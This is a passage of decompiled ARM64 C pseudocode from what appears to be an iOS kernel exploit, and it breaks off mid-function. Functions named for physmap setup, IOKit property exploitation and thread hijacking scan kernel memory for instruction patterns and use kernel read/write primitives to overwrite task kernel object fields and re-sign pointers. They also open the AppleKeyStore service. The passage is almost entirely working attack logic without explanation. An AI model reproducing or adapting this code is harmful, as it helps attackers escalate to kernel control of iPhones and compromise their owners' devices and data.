    if ( v27 < v29 )
      continue;
    break;
  }
  result = false;
  if ( ((v31 == 0) & (a4 >> 8)) == 0 && v30 )
  {
    if ( (~a4 & 0x500) == 0 && *(uint64_t *)(a1 + 160) )
      v33 = *(uint64_t *)(a1 + 160);
    v40 = v33 & ~v44;
    if ( v33 == a3 )
      v40 = a3;
    v41 = (v30 + v44) & ~v44;
    v42 = v41 >= v40;
    v43 = v41 - v40;
    if ( v42 )
    {
      *(uint64_t *)(a1 + 224) = v40;
      *(uint64_t *)(a1 + 232) = v43;
      return map_macho_image_vm(a1) != 0;
    }
    else
    {
      return 0;
    }
  }
  return result;
}
// 0: using guessed type int def_3E8F0;

//----- (000000000001A4FC) ----------------------------------------------------
bool __fastcall iosurface_physmap_setup_alt(__int64 a1, int a2, __int64 a3, int a4)
{
  return iosurface_physmap_setup(a1, a2, a3, a4 | 0x100u);
}

//----- (000000000001A520) ----------------------------------------------------
void __fastcall free_kernel_image_resources(__int64 a1)
{
  void **v2; // x0
  void *v3; // x0

  free_macho_image_vm(a1);
  v2 = *(void ***)(a1 + 208);
  if ( v2 )
  {
    if ( *v2 )
    {
      free(*v2);
      v2 = *(void ***)(a1 + 208);
      *v2 = 0;
    }
    free(v2);
    *(uint64_t *)(a1 + 208) = 0;
  }
  if ( *(uint64_t *)a1 )
  {
    free(*(void **)a1);
    *(uint64_t *)a1 = 0;
  }
  v3 = *(void **)(a1 + 264);
  if ( v3 )
  {
    free(v3);
    *(uint64_t *)(a1 + 264) = 0;
  }
}

//----- (000000000001A58C) ----------------------------------------------------
__int64 __fastcall krw_ctx_setup_physmap(__int64 a1, uint64_t **a2, __int64 a3)
{
  unsigned __int64 v6; // x25
  __int64 result; // x0
  unsigned __int64 v8; // x0
  int v9; // w27
  unsigned __int64 v10; // x0
  struct_krwCtx *v11; // x22
  __int64 v12; // x0
  unsigned __int64 v13; // x22
  __int64 v14; // x28
  __int64 v15; // x23
  int v16; // w0
  struct_krwCtx *v18; // x22
  __int64 v19; // x0
  unsigned __int64 v20; // x21
  __int64 v21; // x23
  __int64 v22; // x0
  __int64 v23; // x22
  __int64 v24; // x23
  int v25; // w24
  __int64 v26; // x21
  unsigned int v27; // w23
  unsigned __int64 v28; // x0
  unsigned int v29; // w21
  unsigned int v30; // w8
  __int128 v31; // [xsp+10h] [xbp-90h] BYREF
  int v32; // [xsp+20h] [xbp-80h]
  __int128 v33; // [xsp+30h] [xbp-70h] BYREF
  int v34; // [xsp+40h] [xbp-60h]

  v6 = *(uint64_t *)algn_480E0;
  if ( strstr((const char *)qword_480D8, "T8020") )
    return 5;
  *(__int128 *)a1 = xmmword_43270;
  *(__int128 *)(a1 + 16) = xmmword_43280;
  *(uint64_t *)(a1 + 32) = 0xEA2305C0EA140568LL;
  *(uint32_t *)(a1 + 40) = 734725576;
  *(uint64_t *)&v33 = 0xD65F03C0F9402400LL;
  *(uint64_t *)&v31 = -1;
  *(uint64_t *)(a1 + 48) = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 2u);
  v33 = xmmword_43290;
  v31 = xmmword_432A0;
  *(uint64_t *)(a1 + 56) = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 4u);
  v33 = xmmword_432B0;
  v31 = xmmword_432A0;
  *(uint64_t *)(a1 + 64) = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 4u);
  *(uint64_t *)&v33 = 0xD65F03C0D508831FLL;
  *(uint64_t *)&v31 = -1;
  *(uint64_t *)(a1 + 72) = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 2u);
  if ( v6 < 0x918C5A83400LL )
  {
    v9 = -1459420545;
    *(uint64_t *)&v33 = 0xD65F03C0F9000041LL;
    *(uint64_t *)&v31 = -1;
    v8 = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 2u);
  }
  else
  {
    *(uint64_t *)&v33 = 0xD65F03C0F9000022LL;
    *(uint64_t *)&v31 = -1;
    v8 = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 2u);
    v9 = -1459420449;
  }
  *(uint64_t *)(a1 + 80) = v8;
  *(uint64_t *)&v33 = 0x52820002AA0003E8LL;
  DWORD2(v33) = 1923089314;
  *(uint64_t *)&v31 = -1;
  DWORD2(v31) = -1;
  *(uint64_t *)(a1 + 88) = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 3u);
  *(uint64_t *)&v33 = 0x17000000B2400000LL;
  *(uint64_t *)&v31 = 0xFF000000FFFFFFFFLL;
  *(uint64_t *)(a1 + 96) = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 2u) + 8;
  v33 = xmmword_432C0;
  *(uint64_t *)&v31 = -1;
  *((uint64_t *)&v31 + 1) = -1;
  *(uint64_t *)(a1 + 104) = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 4u);
  v33 = xmmword_432D0;
  *(uint64_t *)&v31 = -1;
  *((uint64_t *)&v31 + 1) = -1;
  v10 = kobj_snapshot_pattern_search_via_ctx((__int64)a2, (__int64)&v33, (__int64)&v31, 4u);
  *(uint64_t *)(a1 + 120) = v10 - 8;
  v11 = *(struct_krwCtx **)(a3 + 32);
  v12 = kread_u64_value(a3, v10 + 16);
  v13 = krw_xpac_vaddr_2(v11, v12);
  v14 = 0;
  while ( 1 )
  {
    v15 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v13 + v14);
    v16 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v13 + v14 + 8);
    if ( (v15 & 0xFC000000) == 0x94000000 && v16 == v9 )
      break;
    v14 += 4;
    if ( (uint32_t)v14 == 4096 )
      goto LABEL_14;
  }
  *(uint64_t *)(a1 + 112) = v13 + (v15 << 38 >> 36) + v14;
LABEL_14:
  v18 = *(struct_krwCtx **)(a3 + 32);
  v19 = kread_u64_value(a3, *(uint64_t *)(a1 + 120) + 24LL);
  v20 = krw_xpac_vaddr_2(v18, v19);
  v21 = 0;
  while ( 1 )
  {
    v22 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v20 + v21);
    if ( (v22 & 0xFC000000) == 0x94000000 && v20 + v21 + (v22 << 38 >> 36) == *(uint64_t *)(a1 + 112) )
      break;
    v21 += 4;
    if ( (uint32_t)v21 == 768 )
    {
      v23 = 0;
      goto LABEL_20;
    }
  }
  v23 = v20 + v21;
LABEL_20:
  v24 = 0;
  if ( v6 <= 0x918C5A833FFLL )
    v25 = -117434784;
  else
    v25 = -117434688;
  while ( 1 )
  {
    v26 = v23 + v24;
    if ( (unsigned int)read_u32_from_kobj_snapshot((__int64)a2, *a2, v23 + v24) == v25 )
      break;
    v24 -= 4;
    if ( (uint32_t)v24 == -128 )
    {
      v26 = 0;
      break;
    }
  }
  v27 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v26 + 4);
  *(uint64_t *)(a1 + 128) = ((v26 + 4) & 0xFFFFFFFFFFFFF000LL)
                        + 2LL * (int)((v27 >> 18) & 0x1800 | (v27 >> 5 << 13))
                        + (((unsigned int)read_u32_from_kobj_snapshot((__int64)a2, *a2, v26 + 8) >> 7) & 0x7FF8);
  v33 = xmmword_43350;
  v34 = 2028024072;
  v31 = xmmword_43364;
  v32 = -1;
  v28 = kobj_snapshot_lookup_wrapper(a2, (__int64)&v33, (__int64)&v31, 5u);
  *(uint64_t *)(a1 + 136) = v28;
  v29 = read_u32_from_kobj_snapshot((__int64)a2, *a2, v28 + 4);
  v30 = read_u32_from_kobj_snapshot((__int64)a2, *a2, *(uint64_t *)(a1 + 136) + 8LL);
  result = 0;
  *(uint64_t *)(a1 + 136) = ((*(uint64_t *)(a1 + 136) + 4LL) & 0xFFFFFFFFFFFFF000LL)
                        + 2LL * (int)((v29 >> 18) & 0x1800 | (v29 >> 5 << 13))
                        + ((v30 >> 7) & 0x7FF8);
  return result;
}
// 43270: using guessed type __int128 xmmword_43270;
// 43280: using guessed type __int128 xmmword_43280;
// 43290: using guessed type __int128 xmmword_43290;
// 432A0: using guessed type __int128 xmmword_432A0;
// 432B0: using guessed type __int128 xmmword_432B0;
// 432C0: using guessed type __int128 xmmword_432C0;
// 432D0: using guessed type __int128 xmmword_432D0;
// 43350: using guessed type __int128 xmmword_43350;
// 43364: using guessed type __int128 xmmword_43364;
// 480D8: using guessed type __int64 qword_480D8;
// 480E0: using guessed type uint8_t algn_480E0[32];

//----- (000000000001AA90) ----------------------------------------------------
__int64 __fastcall spin_wait_el0_transition(__int64 result)
{
  __int64 v1; // x19

  if ( *(uint32_t *)(result + 20) )
  {
    v1 = result;
    do
    {
      if ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) != 0 )
        result = thread_switch(*(uint32_t *)(v1 + 20), 0, 0);
    }
    while ( *(uint32_t *)(v1 + 20) );
  }
  return result;
}

//----- (000000000001AADC) ----------------------------------------------------
__int64 __fastcall necp_set_opt_string_2(__int64 a1, __int64 a2)
{
  const CFDictionaryRef *v4; // x0
  io_service_t MatchingService; // w0
  unsigned __int64 v6; // x21
  __int64 v7; // x0
  unsigned __int64 v8; // x23
  struct_krwCtx *v9; // x24
  __int64 v10; // x0
  unsigned __int64 v11; // x0
  __int64 v12; // x24
  __int64 v13; // x25
  __int64 v14; // x0
  struct_krwCtx *v15; // x24
  __int64 v16; // x0
  unsigned __int64 v17; // x0
  __int64 v18; // x24
  __int64 v19; // x25
  __int64 v20; // x0
  struct_krwCtx *v21; // x24
  __int64 v22; // x0
  unsigned __int64 v23; // x0
  __int64 v24; // x24
  __int64 v25; // x25
  __int64 v26; // x0
  struct_krwCtx *v27; // x24
  __int64 v28; // x0
  unsigned __int64 v29; // x0
  __int64 v30; // x24
  __int64 v31; // x25
  __int64 v32; // x0
  struct_krwCtx *v33; // x24
  __int64 v34; // x0
  unsigned __int64 v35; // x0
  __int64 v36; // x24
  __int64 v37; // x25
  __int64 v38; // x0
  struct_krwCtx *v39; // x24
  __int64 v40; // x0
  unsigned __int64 v41; // x0
  __int64 v42; // x24
  __int64 v43; // x25
  __int64 v44; // x0
  struct_krwCtx *v45; // x24
  __int64 v46; // x0
  unsigned __int64 v47; // x0
  __int64 v48; // x24
  __int64 v49; // x25
  __int64 v50; // x0
  struct_krwCtx *v51; // x24
  __int64 v52; // x0
  unsigned __int64 v53; // x0
  __int64 v54; // x24
  __int64 v55; // x25
  __int64 v56; // x0
  struct_krwCtx *v57; // x24
  __int64 v58; // x0
  unsigned __int64 v59; // x0
  __int64 v60; // x23
  __int64 v61; // x24
  __int64 v62; // x0
  __int64 v63; // x23
  __int64 v64; // x24
  __int64 v65; // x0
  __int64 v66; // x23
  __int64 v67; // x24
  __int64 v68; // x0
  __int64 v69; // x23
  __int64 v70; // x24
  __int64 v71; // x0
  __int64 v72; // x0
  __int64 v73; // x22
  __int64 v74; // x0
  unsigned __int64 v75; // x0
  __int64 result; // x0
  __int128 v77; // [xsp+10h] [xbp-50h] BYREF

  v4 = IOServiceMatching("AppleKeyStore");
  MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v4);
  IOServiceOpen(MatchingService, mach_task_self_, 0, (io_connect_t *)a2);
  v6 = get_task_kobject_addr_from_field32(*(uint64_t *)a1, *(uint32_t *)a2);
  *(uint64_t *)(a2 + 24) = kread_u64_value(*(uint64_t *)a1, v6 + 72);
  v7 = kread_u64_value(*(uint64_t *)a1, v6);
  *(uint64_t *)(a2 + 32) = v7;
  v8 = krw_xpac_vaddr_2(*(struct_krwCtx **)(*(uint64_t *)a1 + 32LL), v7);
  v77 = xmmword_432E0;
  *(uint64_t *)(a2 + 16) = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
                           *(uint64_t *)(a1 + 8),
                           qword_480A0,
                           2,
                           &v77);
  v9 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v10 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48048);
  v11 = krw_xpac_vaddr_2(v9, v10);
  v12 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48048;
  v13 = *(uint64_t *)a1;
  v14 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v11,
          v12 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4804A << 48));
  kwrite_u64_to_addr(v13, v12, v14);
  v15 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v16 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_4804C);
  v17 = krw_xpac_vaddr_2(v15, v16);
  v18 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4804C;
  v19 = *(uint64_t *)a1;
  v20 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v17,
          v18 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4804E << 48));
  kwrite_u64_to_addr(v19, v18, v20);
  v21 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v22 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48050);
  v23 = krw_xpac_vaddr_2(v21, v22);
  v24 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48050;
  v25 = *(uint64_t *)a1;
  v26 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v23,
          v24 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48052 << 48));
  kwrite_u64_to_addr(v25, v24, v26);
  v27 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v28 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48054);
  v29 = krw_xpac_vaddr_2(v27, v28);
  v30 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48054;
  v31 = *(uint64_t *)a1;
  v32 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v29,
          v30 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48056 << 48));
  kwrite_u64_to_addr(v31, v30, v32);
  v33 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v34 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48058);
  v35 = krw_xpac_vaddr_2(v33, v34);
  v36 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48058;
  v37 = *(uint64_t *)a1;
  v38 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v35,
          v36 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4805A << 48));
  kwrite_u64_to_addr(v37, v36, v38);
  v39 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v40 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_4805C);
  v41 = krw_xpac_vaddr_2(v39, v40);
  v42 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4805C;
  v43 = *(uint64_t *)a1;
  v44 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v41,
          v42 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4805E << 48));
  kwrite_u64_to_addr(v43, v42, v44);
  v45 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v46 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48060);
  v47 = krw_xpac_vaddr_2(v45, v46);
  v48 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48060;
  v49 = *(uint64_t *)a1;
  v50 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v47,
          v48 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48062 << 48));
  kwrite_u64_to_addr(v49, v48, v50);
  v51 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v52 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48070);
  v53 = krw_xpac_vaddr_2(v51, v52);
  v54 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48070;
  v55 = *(uint64_t *)a1;
  v56 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v53,
          v54 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48072 << 48));
  kwrite_u64_to_addr(v55, v54, v56);
  v57 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v58 = kread_u64_value(*(uint64_t *)a1, v8 + (unsigned __int16)word_48064);
  v59 = krw_xpac_vaddr_2(v57, v58);
  v60 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48064;
  v61 = *(uint64_t *)a1;
  v62 = (*(__int64 (__fastcall **)(uint64_t, unsigned __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          v59,
          v60 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48066 << 48));
  kwrite_u64_to_addr(v61, v60, v62);
  v63 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_4806C;
  v64 = *(uint64_t *)a1;
  v65 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          qword_48078,
          v63 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4806E << 48));
  kwrite_u64_to_addr(v64, v63, v65);
  v66 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48068;
  v67 = *(uint64_t *)a1;
  v68 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          qword_48078 + 4,
          v66 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4806A << 48));
  kwrite_u64_to_addr(v67, v66, v68);
  v69 = *(uint64_t *)(a2 + 16) + (unsigned __int16)word_48064;
  v70 = *(uint64_t *)a1;
  v71 = (*(__int64 (__fastcall **)(uint64_t, __int64, unsigned __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          qword_48078 + 4,
          v69 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48066 << 48));
  kwrite_u64_to_addr(v70, v69, v71);
  v77 = xmmword_432E0;
  v72 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
          *(uint64_t *)(a1 + 8),
          qword_480A0,
          2,
          &v77);
  *(uint64_t *)(a2 + 8) = v72;
  kwrite_u64_to_addr(*(uint64_t *)a1, v72 + 16, 0);
  kwrite_u64_to_addr(*(uint64_t *)a1, v6 + 72, *(uint64_t *)(a2 + 8));
  flush_cpu_cache(*(uint64_t *)a1, v6 + 156, 273);
  v73 = *(uint64_t *)a1;
  v74 = (*(__int64 (__fastcall **)(uint64_t, uint64_t, unsigned __int64))(**(uint64_t **)(a1 + 8) + 32LL))(
          *(uint64_t *)(a1 + 8),
          *(uint64_t *)(a2 + 16),
          v6 & 0xFFFFFFFFFFFFLL | 0xCDA1000000000000LL);
  kwrite_u64_to_addr(v73, v6, v74);
  *(uint64_t *)&v77 = *(uint64_t *)(a2 + 8);
  v75 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
          *(uint64_t *)(a1 + 8),
          qword_480B0,
          1,
          &v77);
  result = physmap_map_cached(*(struct_krwCtx **)(*(uint64_t *)a1 + 32LL), v75, a2 + 40);
  **(uint64_t **)(a2 + 40) = 0;
  return result;
}
// 0: using guessed type int def_3E8F0;
// 4: using guessed type int dword_4;
// 8: using guessed type int dword_8;
// C: using guessed type int;
// 10: using guessed type int dword_10;
// 14: using guessed type int;
// 18: using guessed type int;
// 1C: using guessed type int;
// 20: using guessed type segment_command_64 stru_20;
// 432E0: using guessed type __int128 xmmword_432E0;
// 48048: using guessed type __int16 word_48048;
// 4804A: using guessed type __int16 word_4804A;
// 4804C: using guessed type __int16 word_4804C;
// 4804E: using guessed type __int16 word_4804E;
// 48050: using guessed type __int16 word_48050;
// 48052: using guessed type __int16 word_48052;
// 48054: using guessed type __int16 word_48054;
// 48056: using guessed type __int16 word_48056;
// 48058: using guessed type __int16 word_48058;
// 4805A: using guessed type __int16 word_4805A;
// 4805C: using guessed type __int16 word_4805C;
// 4805E: using guessed type __int16 word_4805E;
// 48060: using guessed type __int16 word_48060;
// 48062: using guessed type __int16 word_48062;
// 48064: using guessed type __int16 word_48064;
// 48066: using guessed type __int16 word_48066;
// 48068: using guessed type __int16 word_48068;
// 4806A: using guessed type __int16 word_4806A;
// 4806C: using guessed type __int16 word_4806C;
// 4806E: using guessed type __int16 word_4806E;
// 48070: using guessed type __int16 word_48070;
// 48072: using guessed type __int16 word_48072;
// 48078: using guessed type __int64 qword_48078;
// 480A0: using guessed type __int64 qword_480A0;
// 480B0: using guessed type __int64 qword_480B0;

//----- (000000000001B158) ----------------------------------------------------
__int64 __fastcall write_task_kobject_fields(__int64 a1, __int64 a2)
{
  unsigned __int64 v4; // x21
  double v5; // d0
  __int64 result; // x0
  __int64 v7; // [xsp+8h] [xbp-38h] BYREF
  __int64 v8; // [xsp+10h] [xbp-30h]

  v4 = get_task_kobject_addr_from_field32(*(uint64_t *)a1, *(uint32_t *)a2);
  kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 72, *(uint64_t *)(a2 + 24));
  kwrite_u64_to_addr(*(uint64_t *)a1, v4, *(uint64_t *)(a2 + 32));
  flush_cpu_cache(*(uint64_t *)a1, v4 + 156, 0);
  v5 = physmap_unmap_cached(*(uint64_t *)(*(uint64_t *)a1 + 32LL), a2 + 40);
  v7 = *(uint64_t *)(a2 + 8);
  v8 = 0x4000;
  (*(void (__fastcall **)(uint64_t, __int64, __int64, __int64 *, double))(**(uint64_t **)(a1 + 8) + 8LL))(
    *(uint64_t *)(a1 + 8),
    qword_480A8,
    2,
    &v7,
    v5);
  v7 = *(uint64_t *)(a2 + 16);
  v8 = 0x4000;
  (*(void (__fastcall **)(uint64_t, __int64, __int64, __int64 *))(**(uint64_t **)(a1 + 8) + 8LL))(
    *(uint64_t *)(a1 + 8),
    qword_480A8,
    2,
    &v7);
  result = IOServiceClose(*(uint32_t *)a2);
  *(uint32_t *)a2 = 0;
  return result;
}
// 480A8: using guessed type __int64 qword_480A8;

//----- (000000000001B280) ----------------------------------------------------
__int64 __fastcall trigger_iokit_property_exploit(__int64 a1)
{
  __int128 v3; // [xsp+20h] [xbp-30h] BYREF

  v3 = xmmword_432E0;
  *(uint64_t *)&v3 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
                     *(uint64_t *)(a1 + 8),
                     qword_480A0,
                     2,
                     &v3);
  (*(void (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
    *(uint64_t *)(a1 + 8),
    qword_480B0,
    1,
    &v3);
  (*(void (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 18);
  return (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 16);
}
// 432E0: using guessed type __int128 xmmword_432E0;
// 480A0: using guessed type __int64 qword_480A0;
// 480B0: using guessed type __int64 qword_480B0;

//----- (000000000001B360) ----------------------------------------------------
__int64 __fastcall wait_thread_ready(__int64 a1, uint64_t **a2)
{
  uint64_t *i; // x8
  __int16 j; // w8
  mach_port_name_t v6; // w0
  thread_act_t v7; // w0
  __int64 result; // x0
  integer_t policy_info[4]; // [xsp+30h] [xbp-30h] BYREF

  for ( i = *a2; *i; i = *a2 )
    sched_yield();
  for ( j = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); (j & 0xFFC) != 0; j = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) )
  {
    v6 = mach_thread_self();
    thread_switch(v6, 0, 0);
  }
  *(__int128 *)policy_info = xmmword_432F0;
  v7 = mach_thread_self();
  thread_policy_set(v7, 2u, policy_info, 4u);
  result = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 53);
  **a2 = 2;
  return result;
}
// 432F0: using guessed type __int128 xmmword_432F0;

//----- (000000000001B42C) ----------------------------------------------------
__int64 __fastcall thread_hijack_exploit(__int64 a1)
{
  unsigned __int64 v2; // x26
  thread_act_t v3; // w0
  __int64 v4; // x20
  __int64 v5; // x21
  __int64 v6; // x0
  struct_krwCtx *v7; // x21
  __int64 v8; // x0
  unsigned __int64 v9; // x0
  struct_krwCtx *v10; // x21
  __int64 v11; // x0
  unsigned __int64 v12; // x22
  __int64 v13; // x21
  __int64 v14; // x0
  __int64 v16; // x0
  __int64 v17; // x0
  __int64 v18; // x21
  __int64 v19; // x23
  __int64 v20; // x0
  __int64 v21; // x21
  __int64 v22; // x23
  __int64 v23; // x8
  __int64 v24; // x0
  bool v25; // zf
  __int64 v26; // x24
  __int64 v27; // x21
  __int64 v28; // x0
  unsigned __int64 v29; // x8
  __int64 v30; // x28
  unsigned __int64 v31; // x8
  mach_port_name_t v32; // w0
  __int64 v33; // x8
  int v34; // w21
  __int64 v35; // x9
  __int64 v36; // x20
  __int64 v37; // [xsp+40h] [xbp-400h]
  unsigned __int64 v38; // [xsp+48h] [xbp-3F8h]
  __int64 v39; // [xsp+50h] [xbp-3F0h]
  __int64 v40; // [xsp+58h] [xbp-3E8h]
  __int64 v41; // [xsp+60h] [xbp-3E0h]
  __int64 v42; // [xsp+68h] [xbp-3D8h]
  uintptr_t v43; // [xsp+70h] [xbp-3D0h]
  unsigned __int64 v44; // [xsp+78h] [xbp-3C8h]
  __int64 v45; // [xsp+88h] [xbp-3B8h]
  uintptr_t v46; // [xsp+90h] [xbp-3B0h]
  uint64_t v47[12]; // [xsp+A8h] [xbp-398h] BYREF
  pthread_t v48; // [xsp+108h] [xbp-338h] BYREF
  uint64_t v49[5]; // [xsp+110h] [xbp-330h] BYREF
  __int64 v50; // [xsp+138h] [xbp-308h] BYREF
  __int128 policy_info; // [xsp+140h] [xbp-300h] BYREF
  __int128 connect[2]; // [xsp+150h] [xbp-2F0h] BYREF
  __int128 v53; // [xsp+170h] [xbp-2D0h]
  __int128 v54; // [xsp+180h] [xbp-2C0h]
  __int128 v55; // [xsp+190h] [xbp-2B0h]
  __int128 v56; // [xsp+1A0h] [xbp-2A0h]
  __int128 v57; // [xsp+1B0h] [xbp-290h] BYREF
  uint64_t v58[64]; // [xsp+1C8h] [xbp-278h] BYREF

  v2 = *(uint64_t *)algn_480E0;
  if ( strstr((const char *)qword_480D8, "T8020") )
    return 5;
  v55 = 0u;
  v56 = 0u;
  v53 = 0u;
  v54 = 0u;
  memset(connect, 0, sizeof(connect));
  necp_set_opt_string_2(a1, (__int64)connect);
  policy_info = xmmword_43300;
  v3 = mach_thread_self();
  thread_policy_set(v3, 2u, (thread_policy_t)&policy_info, 4u);
  v57 = xmmword_432E0;
  v4 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
         *(uint64_t *)(a1 + 8),
         qword_480A0,
         2,
         &v57);
  kwrite_u64_to_addr(*(uint64_t *)a1, v4, 0xBEE5000000010003LL);
  kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 8, v4 + 256);
  kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 16, v4 + 512);
  kwrite_u64_to_addr(*(uint64_t *)a1, v4 + 24, v4 + 768);
  v57 = xmmword_432E0;
  v5 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
         *(uint64_t *)(a1 + 8),
         qword_480A0,
         2,
         &v57);
  while ( 1 )
  {
    v6 = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 48);
    if ( (unsigned __int8)v6 != 6 )
      break;
    trigger_iokit_property_exploit(a1);
  }
  if ( v6 )
    return 5;
  v45 = kread_u64_value(*(uint64_t *)a1, v5);
  v7 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v8 = kread_u64_value(*(uint64_t *)a1, *(uint64_t *)(*(uint64_t *)a1 + 16LL) + 40LL);
  v9 = krw_xpac_vaddr_2(v7, v8);
  v10 = *(struct_krwCtx **)(*(uint64_t *)a1 + 32LL);
  v11 = kread_u64_value(*(uint64_t *)a1, v9 + 64);
  v12 = krw_xpac_vaddr_2(v10, v11);
  v57 = xmmword_432E0;
